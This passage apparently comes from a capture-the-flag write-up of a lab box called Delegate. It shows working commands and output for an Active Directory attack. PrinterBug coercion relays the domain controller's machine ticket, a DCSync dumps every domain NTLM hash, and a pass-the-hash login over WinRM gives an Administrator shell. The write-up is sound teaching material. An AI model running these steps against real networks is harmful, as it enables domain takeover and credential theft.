COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, MSEven

It seems that it’s vulnerable to all of them. I’ll go with PrinterBug:

oxdf@hacky$ netexec smb dc1.delegate.vl -u 'fake$' -p 0xdf0xdf. -M coerce_plus -o LISTENER=fake.delegate.vl METHOD=PrinterBug
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\fake$:0xdf0xdf. 
COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.56.255   445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

It reports success, and at the relay:

[*] SMBD: Received connection from 10.129.56.255
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.56.255
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.56.255
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

The second line says it saved the TGT, and it’s there:

oxdf@hacky$ ls DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache 
'DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache'

DCSync

With a TGT for the machine account of the DC, I’ll do a DCSync attack to get all the hashes for the domain. I’ll need to set up Kerberos, and I’ll have netexec generate the file:

oxdf@hacky$ netexec smb dc1.delegate.vl -u 'fake$' -p 0xdf0xdf. --generate-krb5-file krb5.conf
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\fake$:0xdf0xdf. 
oxdf@hacky$ cat krb5.conf | sudo tee /etc/krb5.conf

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = DELEGATE.VL

[realms]
    DELEGATE.VL = {
        kdc = dc1.delegate.vl
        admin_server = dc1.delegate.vl
        default_domain = delegate.vl
    }

[domain_realm]
    .delegate.vl = DELEGATE.VL
    delegate.vl = DELEGATE.VL

Now I can auth as the machine account:

oxdf@hacky$ KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache netexec smb dc1.delegate.vl --use-kcache 
SMB         dc1.delegate.vl 445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         dc1.delegate.vl 445    DC1              [+] DELEGATE.VL\DC1$ from ccache 

I’ll have netexec dump the domain hashes:

oxdf@hacky$ KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache netexec smb dc1.delegate.vl --use-kcache --ntds
SMB         dc1.delegate.vl 445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         dc1.delegate.vl 445    DC1              [+] DELEGATE.VL\DC1$ from ccache 
SMB         dc1.delegate.vl 445    DC1              [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         dc1.delegate.vl 445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc1.delegate.vl 445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
SMB         dc1.delegate.vl 445    DC1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc1.delegate.vl 445    DC1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
SMB         dc1.delegate.vl 445    DC1              A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
SMB         dc1.delegate.vl 445    DC1              b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
SMB         dc1.delegate.vl 445    DC1              R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
SMB         dc1.delegate.vl 445    DC1              J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
SMB         dc1.delegate.vl 445    DC1              N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
SMB         dc1.delegate.vl 445    DC1              DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
SMB         dc1.delegate.vl 445    DC1              fake$:4601:aad3b435b51404eeaad3b435b51404ee:02cb8258df07966e32677128e5ff1d26:::
SMB         dc1.delegate.vl 445    DC1              oxdf$:4602:aad3b435b51404eeaad3b435b51404ee:02cb8258df07966e32677128e5ff1d26:::
SMB         dc1.delegate.vl 445    DC1              [+] Dumped 11 NTDS hashes to /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds of which 8 were added to the database
SMB         dc1.delegate.vl 445    DC1              [*] To extract only enabled accounts from the output file, run the following command: 
SMB         dc1.delegate.vl 445    DC1              [*] cat /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds | grep -iv disabled | cut -d ':' -f1
SMB         dc1.delegate.vl 445    DC1              [*] grep -iv disabled /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds | cut -d ':' -f1

Shell

I’ll connect over WinRM as Administrator using the hash and evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i dc1.delegate.vl -u administrator -H c32198ceab4cc695e65045562aa3ee93

          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to 'dc1.delegate.vl:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

And read the flag:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
f5f4e5d6************************